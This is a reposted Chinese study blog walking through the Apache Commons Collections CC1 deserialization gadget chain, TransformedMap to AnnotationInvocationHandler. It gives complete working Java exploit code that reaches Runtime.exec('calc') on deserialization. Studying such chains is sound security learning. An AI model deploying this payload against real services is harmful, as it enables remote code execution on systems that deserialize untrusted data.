自学内容网 自学内容网
自学内容网 > 正文

Java反序列化CC1-TransformedMap链学习

🕗 发布于 2024-09-24 10:12 java  web安全  

学习参考：Java反序列化CC1链TransformedMap
核心是要学会基本EXP编写，还有怎么找传递链。

链子尾部

这里有一个能反射调用任意类，任意方法的：

image

以这个漏洞点写EXP，由于这个是public的InvokerTransformer，所以不需要反射，直接执行即可：
写一个正常Runtime弹calc的EXP，然后根据参数修改即可

import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.Method;

public class InvokeTransformerTest {
    public static void main(String[] args) throws Exception{
        System.out.printf("Ok! Let's start CC1! \n");
//        Runtime runtime = Runtime.getRuntime();
//        Class c = Runtime.class;
//        Method method = c.getDeclaredMethod("exec", String.class);
//        method.setAccessible(true);
//        method.invoke(runtime,"calc");
        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        invokerTransformer.transform(runtime);
    }
}

回溯找调用链

由于链子尾部是调用的transform，所以我们要找其它同名的transform方法。
直接Find Usage找不全，选择 ctrl+alt+shift+F7，选择所有位置即可找全。

找到TransformedMap的checkSetValue方法：
image

其中的valueTransformer来自构造函数。
重点在于，构造函数是protected的！所以得继续找其它调用构造函数的点：
image

Find Usage找到 decorate：
image

现在以decorate开头写一个到invoker结尾的EXP：
对于checkSetVaue，value要是runtime对象，valueTransformer要是InvokerTransformer.

然后由于这个CheckSetValue是protected，所以要反射调用。
先拿到TransformedMap的class，反射获取checkSetValue方法，setAccessible，然后invoke。

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class InvokeTransformerTest {
    public static void main(String[] args) throws Exception{
        System.out.printf("Ok! Let's start CC1! \n");
//        Runtime runtime = Runtime.getRuntime();
//        Class c = Runtime.class;
//        Method method = c.getDeclaredMethod("exec", String.class);
//        method.setAccessible(true);
//        method.invoke(runtime,"calc");
        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap<Object,Object> hashMap = new HashMap<>();
        Map decorateMap = TransformedMap.decorate(hashMap,null,invokerTransformer);
        Class<TransformedMap>transformedMapClass = TransformedMap.class;
        Method checkSetValueMethod = transformedMapClass.getDeclaredMethod("checkSetValue",Object.class);
        checkSetValueMethod.setAccessible(true);
        checkSetValueMethod.invoke(decorateMap,runtime);
//        invokerTransformer.transform(runtime);
    }
}

继续往上找链子，很自然的想到找谁调用了checkSetValue；
唯一一个parent.checkSetValue.
找到调用checkSetValue的是一个Abstractxxx类的一个内部类MapEntry类：
image

往上面回溯两层setValue方法，可以找到来源：
image

image

是来自普遍的Map！

也就是Map在setValue的时候就会触发checkSetValue.

这里尝试验证一下：我们遍历一个map,setvalue(runtime)：

package org.example;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class setValueTest {
    public static void main(String[] args) throws Exception {
        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put("a",1);
        Map<Object,Object> decorateMap = TransformedMap.decorate(hashMap,null,invokerTransformer);
        for(Map.Entry entry:decorateMap.entrySet()){
            entry.setValue(runtime);
        }
    }
}

发现确实走到checkSetValue了，同时EXP也成立：
image

继续往上找，找setValue的调用。

找入口类

找到一个readObject的入口类：
（呃呃呃，我的这个是class，不是源码，所以搜不到。。。）
image

然后这个类的构造函数的作用域是default，所以也得用反射写。
理想情况的EXP：

package org.example;

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class idealExp {
    public static void main(String[] args) throws Exception {
        Runtime runtime = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put("a",1);
        Map<Object,Object> decorateMap = TransformedMap.decorate(hashMap,null,invokerTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Override.class,decorateMap);
        serialize(o);
        deseralize("ser.bin");
    }
    public static void serialize(Object obj)throws Exception{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object deseralize(String filename) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        Object obj = ois.readObject();
        return obj;
    }
}

理想EXP的几个问题 && 解决

但有几个问题：

  1. Runtime对象不能序列化。

  2. 最终的setValue是需要传Runtime对象的，但这里直接看是不可控的：
    image

  3. 进入setValue前有两个if判断需要解决。

第一个问题：
Runtime对象不可序列化，但是Runtime.class可以。所以用反射来写。
而反射又需要用invokerTransformer来间接完成。
这里用chainedTransformer来简化。
image

这里就不写完了，只是写写Runtime.class和结合invokerTransformer后，再用chainedTransformer简化的部分，其余的链子思路都挺清晰的，现在不想写。。。

Runtime.class:(学到了。。。orz)

package org.example;

import java.lang.reflect.Method;

public class runtimeClassTest {
    public static void main(String[] args) throws Exception {
        Class c = Runtime.class;
        Method method = c.getMethod("getRuntime");
        Runtime runtime = (Runtime) method.invoke(null,null);
        Method run = c.getMethod("exec", String.class);
        run.invoke(runtime,"calc");
    }
}

特别是

Runtime runtime = (Runtime) method.invoke(null,null);

秀！

这样就完全可以改造为invokerTransformer的形式了。

package org.example;

import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.Method;

public class runtimeClassTest {
    public static void main(String[] args) throws Exception {
        Class c = Runtime.class;
//        Method method = c.getMethod("getRuntime");
//        Runtime runtime = (Runtime) method.invoke(null,null);
//        Method run = c.getMethod("exec", String.class);
//        run.invoke(runtime,"calc");
        Method runtimeMethod = (Method) new InvokerTransformer("getMethod",
                new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(c);
        Runtime runtime = (Runtime) new InvokerTransformer("invoke",
                new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(runtimeMethod);
        Method run = (Method) new InvokerTransformer("getMethod",
                new Class[]{String.class, Class[].class},new Object[]{"exec",new Class[]{String.class}}).transform(c);
        run.invoke(runtime,"calc");
    }
}

然后结合chaindTransformer和decorate再写写，

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class idealExp {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{ 
                new InvokerTransformer("getMethod",
                        new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put("a",1);
        Map<Object,Object> decorateMap = TransformedMap.decorate(hashMap,null,chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Override.class,decorateMap);
        serialize(o);
        deseralize("ser.bin");
    }
    public static void serialize(Object obj)throws Exception{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object deseralize(String filename) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        Object obj = ois.readObject();
        return obj;
    }
}

然后在Annoxxx那两个if打断点，看看什么情况。
第一个if要求var7!=null：
image

而var7来自：

Class var7 = (Class)var3.get(var6);

我们构造函数的传参是：
image
是没有member的：
image

所以要找另外的注解。
直接跟着找到Target.java：
image

有一个成员value，所以我们put的值也要是value。
调整这两处：
image

这样再debug，var7就!=null了：
image

同时也能成功进入第二个if：
image

现在到了最后一个问题，setValue中的参数不可控。
能找到一个ConstantTransformer类：
image

那么就可以将setValue中new的那个AnnotationTypeMismatchExceptionProxy作为ConstantTransformer的transform的参数！然后iConstant我们可控，就能控制setValue的参数了。（orz ++）
具体到代码实现，刚好这个Constantxxx的transform方法可以添加到ChainedTransformer的开头~
FINAL EXP：（打断点多看看chained那儿）

package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class idealExp {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class), //
                new InvokerTransformer("getMethod",
                        new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",
                        new Class[]{Object.class,Object[].class},new Object[]{null,null}),
                new InvokerTransformer("exec",
                        new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap<Object,Object> hashMap = new HashMap<>();
        hashMap.put("value",1);
        Map<Object,Object> decorateMap = TransformedMap.decorate(hashMap,null,chainedTransformer);
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
        constructor.setAccessible(true);
        Object o = constructor.newInstance(Target.class,decorateMap);
        serialize(o);
        deseralize("ser.bin");
    }
    public static void serialize(Object obj)throws Exception{
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object deseralize(String filename) throws Exception{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
        Object obj = ois.readObject();
        return obj;
    }
}

image

最后再debug看看chained那儿：
image

第一次的transform就是设置Axxx这个为可控的iConstant（Runtime.class）
image

第二次就是getMethod获取getRuntime：
image

第三次就是method.invoke():
image

最后就是exec("calc"):
image

image

总结

先是找到结尾的反射调用任意类任意方法，然后往上回溯，找重名调用，最终找到入口readObject的类。
中间很多细节值得推敲，精妙！

利用链：

InvokerTransformer # transform
    TransformedMap # checkSetValue
        AbstractInputCheckedMapDecorator # setValue
            AnnotationInvocationHandler # readObject

image
<===
image
<===
image
<===
image


原文地址：https://blog.csdn.net/ULGANOY/article/details/142455413

免责声明：本站文章内容转载自网络资源，如本站内容侵犯了原著者的合法权益，可联系本站删除。更多内容请关注自学内容网（zxcms.com）！

相关文章

  • 「QT」文件类 之 QTemporaryDir 临时目录类

    QTemporaryDir类是Qt框架中用于创建和管理临时目录的类。它提供了一个便捷且安全的方式来生成唯一的临时目录，这些目录通常用于存储临时文件或子目录，以便在程序运行期间进行临时存储或处理。QTe

    阅读更多2024-11-16
  • 【c++笔试强训】（第五篇）

    因此，Fibonacci数列就形如：0, 1, 1, 2, 3, 5, 8, 13, ...，在Fibonacci数列中的数我们称为Fibonacci数。给你一个N，你想让其变为一个Fibonacci

    阅读更多2024-11-16
  • vue2 动态路由的实现

    一般情况下，路由都是前端约定好的，但是每当项目发布上线，或者客户需求新的页面的时候，都需要做出路由改变。这样运维就可以现场支持，方便做出可操作的中户中台，来管理我们的中心项目登录及权限，路由等方面；注

    阅读更多2024-11-16
  • 算法导论第二章

    从今天开始会陆续更新关于算法导论的啃书相关文章，先从前往后而且比较常用的章节开始讲起，所以可能会有部分不怎么用的着的章节会跳过。由于第一章没讲什么具体内容，所以选择跳过从第二章开始讲起。

    阅读更多2024-11-16
  • 生成式GPT商品推荐：精准满足用户需求

    随着人工智能（AI）技术的飞速发展，电商平台正在逐步迎来一场前所未有的变革。尤其是生成式GPT（Generative Pre-trained Transformer）技术的应用，正在重新定义电商平台如

    阅读更多2024-11-16
  • 【机器学习基础】西瓜书阅读笔记task01

    机器学习：研究如何通过计算的手段，利用经验来改善系统自身的性能计算机系统中，经验通常以数据形式存在。机器学习研究的主要内容：计算机从数据中产生模型的算法，即“学习算法”把经验（经验数据）提供给这个算法

    阅读更多2024-11-16
  • 卷积神经网络之Yolo详解

    IoU用于衡量预测框与真实框的重叠程度，是目标检测中的基础评估指标。置信度反映了模型对于其预测框包含物体的信心。精确率衡量了预测为目标的框中，实际是目标的比例。召回率衡量了模型能够找到的真实目标的比例

    阅读更多2024-11-16
  • ssm092基于Tomcat技术的车库智能管理平台+jsp(论文+源码)_kaic

    它将程序数据通过使用不同的数据表格进行保存，在增加了程序数据的存储速度的时候，也提高了数据库的灵活性。当前需要开发的程序软件是根据当下的用户需求进行设计开发的，但是随着时间的推移，社会大环境的改变，开

    阅读更多2024-11-16
  • vue3初始项目结构与分析

    时隔多年再次学习vue，单纯学习刚创立好的项目分析其结构与运作方式，掌握了基础才能在工作中延申。

    阅读更多2024-11-16
  • 理解 C++ 中的 `const` 关键字

    const关键字在 C++ 中的使用是良好的编程实践。它能提高代码的安全性、可读性，并帮助优化编译器的性能。为了防止逻辑错误和性能问题，建议在可能的情况下尽量使用const。通过对比其他编程语言，可以

    阅读更多2024-11-16
自学内容网
Copyright © 2015-2024